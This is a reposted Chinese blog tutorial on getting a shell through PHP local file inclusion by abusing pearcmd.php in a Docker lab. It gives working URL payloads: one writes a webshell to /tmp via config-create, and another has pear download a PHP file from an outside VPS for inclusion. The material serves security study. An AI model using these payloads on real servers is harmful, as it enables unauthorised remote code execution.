我的编程空间,编程开发者的网络收藏夹
学习永远不晚

利用pearcmd.php文件包含拿shell(LFI)

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

利用pearcmd.php文件包含拿shell(LFI)

前言

最近看博客的时候遇到有师傅总结了一个新颖的文件包含思路,通过pearcmd.php来进行本地文件包含来拿shell,我感觉还挺有意思的,就花时间来学习了一下。

利用条件

安装了pear扩展(pear就是一个php扩展及应用的代码仓库,没有安装pear扩展的话就没有pear.php文件可以利用了)

知道pearcmd.php文件的路径(默认路径是/usr/local/lib/php/pearcmd.php)

开启了register_argc_argv选项(只有开启了,$_SERVER[‘argv’]才会生效。)

有包含点,并且能包含php后缀的文件,而且没有open_basedir的限制。

复现

环境搭建

这次用docker来搭建一个lamp,因为docker的任意版本的镜像都会默认安装pear,更加省事。本次复现下载的是这样版本的镜像。

然后就是拉镜像搭建环境了。我们进入到容器里,在web目录下创建两个文件,创建一个1.php,也就是我们的一个漏洞包含点。

再创建一个2.php,用于测试使用。

原理

其实这不能算是一个漏洞,只能算作一个利用姿势。其主要原因就是开启了register_argc_argv这个选项。开启这个选项之后,url中?后面的内容都会传入$_SERVER[‘argv’]这个变量里。这里举三个例子。

传入一个aa=1。

传入一个aa=1&bb=1。

 传入一个aa=1+bb=1。

通过这三张图很明显就明白&是无法分割参数的,真正能有效分割参数的是+号。另外等号无法复制,直接被作为键值传进去了。

pear是通过pearcmd.php来获取到参数的,看一下pear程序的代码:

#!/bin/sh               # first find which PHP binary to use       if test "x$PHP_PEAR_PHP_BIN" != "x"; then    PHP="$PHP_PEAR_PHP_BIN"                  else               if test "/usr/local/bin/php" = '@'php_bin'@'; then    PHP=php  else    PHP="/usr/local/bin/php"  fifi# then look for the right pear include dirif test "x$PHP_PEAR_INSTALL_DIR" != "x"; then  INCDIR=$PHP_PEAR_INSTALL_DIR  INCARG="-d include_path=$PHP_PEAR_INSTALL_DIR"else  if test "/usr/local/lib/php" = '@'php_dir'@'; then    INCDIR=`dirname $0`    INCARG=""  else    INCDIR="/usr/local/lib/php"    INCARG="-d include_path=/usr/local/lib/php"  fifiexec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR/pearcmd.php "$@"

这种sh程序我是看不太懂,大概就是最后一行在执行pear命令的时候会调用pearcmd.php文件。我们再看pearcmd.php的源码。

if (!isset($_SERVER['argv']) && !isset($argv) && !isset($HTTP_SERVER_VARS['argv'])) {    echo 'ERROR: either use the CLI php executable, ' .         'or set register_argc_argv=On in php.ini';    exit(1);}$argv = Console_Getopt::readPHPArgv();// fix CGI sapi oddity - the -- in pear.bat/pear is not removedif (php_sapi_name() != 'cli' && isset($argv[1]) && $argv[1] == '--') {    unset($argv[1]);    $argv = array_values($argv);}

这里我们可以看到$argv是由readPHPArgv函数赋值,那么我们就继续跟进这个函数。

    public static function readPHPArgv()    {        global $argv;        if (!is_array($argv)) {            if (!@is_array($_SERVER['argv'])) {                if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {                    $msg = "Could not read cmd args (register_argc_argv=Off?)";                    return PEAR::raiseError("Console_Getopt: " . $msg);                }                return $GLOBALS['HTTP_SERVER_VARS']['argv'];            }            return $_SERVER['argv'];        }        return $argv;    }

先看$argv是否存在(这个变量储存在命令行模式下运行php脚本时传入的参数),如果不存在,就判断$_SERVER[‘argv’]这个变量,这个是我们可控的,那么这个函数返回值我们就可控。具体代码实现不需要知道,只要明白在文件包含的情况下,我们可以通过运用pear命令行工具并且控制其参数来为我们所用。

利用1(不出网)

我们可以通过pear来漏洞利用,先看看pear中能够利用的命令。

我们要利用的就是这个config-create命令,这个命令的主要作用就是将内容写入文件中,传入两个参数,第一个参数是要写的内容,第二个参数就是要写入文件的路径,很明显,这两个参数都是可控的,自然我们应该能想到可以写入一句话进去,然后进行包含getshell。

那么我们我们可以用pear来演示一下

pear config-create /XiLitter /tmp/teat.txt

再看一下有没有被写入临时目录。

成功写进去了,那么就docker搭建环境来演示一下。

写入一句话木马的payload为:

?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/test.php

注意,我们正常抓包的时候<>和单引号会被url编码。

像这样,这样写进去是完全不行的,没有了php语法边界,写入的一句话木马就不会被当做php代码来执行,只能被当做文本存储,所以我们要修改掉。这个坑我踩了好久。

后台临时目录里已经写入了test.php。

然后包含它, 就可以进行RCE了。

看到test.php里的内容,/&file=/usr/local/lib/php/pearcmd.php&//pear/php一块被写进去了,但是get参数file被正常解析了,也就是说我们成功包含了pearcmd.php才成功使用命令。

为什么payload前面要有+号

前面不填加号是不行的。看个例子。

第一个元素变成了空串。在这里应该能猜到第一个元素是不起作用的。 光猜也不行,继续看pearcmd.php的代码。

$argv = Console_Getopt::readPHPArgv();// fix CGI sapi oddity - the -- in pear.bat/pear is not removedif (php_sapi_name() != 'cli' && isset($argv[1]) && $argv[1] == '--') {    unset($argv[1]);    $argv = array_values($argv);}$progname = PEAR_RUNTYPE;array_shift($argv);$options = Console_Getopt::getopt2($argv, "c:C:d:D:Gh?sSqu:vV");if (PEAR::isError($options)) {    usage($options);}

看来这个array_shift函数就是罪魁祸首了。我们通过url传入的argv数组会剔除掉第一个元素,也就是第一个元素失效,用+来代替了。

利用2(出网)

我们可以在自己的vps上写一个php文件,通过pear下载到靶机的临时目录里,然后对该文件进行包含。这很好理解。我们写一个phpinfo()

使用的payload为

+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://xilitter.top/123.php

查看后台123.php被写进去了。

那么进行包含,

那么这种情况下我们就可以在vps上写马,然后通过pear下载包含,进而getshell,具体步骤就不再演示。

结语

这个姿势在任何php版本下都能用。只要是满足前面提到的几个条件,(可以通过phpinfo查看信息)换言之,用docker开启的php环境,上面那些配置都是默认开启的,只要具有文件包含点,这种有趣的姿势就能派上用场。

相关链接

关于利用pearcmd进行文件包含的一些总结 | W4rsp1t3's blog

Docker PHP裸文件本地包含综述 - 跳跳糖

利用pearcmd.php本地文件包含(LFI)_入山梵行的博客-CSDN博客

来源地址:https://blog.csdn.net/m0_62422842/article/details/126772725

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

利用pearcmd.php文件包含拿shell(LFI)

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

Shell中调用、引用、包含另一个脚本文件的三种方法

脚本 first (测试示例1) first#!/bin/bashecho 'your are in first file' 方法一:使用source #!/bin/bashecho 'your are in second file'so
2022-06-04

Shell中调用、引用、包含另一个脚本文件的方法有哪些

本篇内容介绍了“Shell中调用、引用、包含另一个脚本文件的方法有哪些”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!脚本 first (测试
2023-06-09

Shell脚本中调用、引用、包含另外一个脚本文件的两种方法

脚本 first (测试示例1) #!/bin/bashecho 'your are in first file'问)在当前脚本文件中调用另外一个脚本文件? 方法一: 使用 source 脚本 second (测试示例2)#!/bin/ba
2022-06-04

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录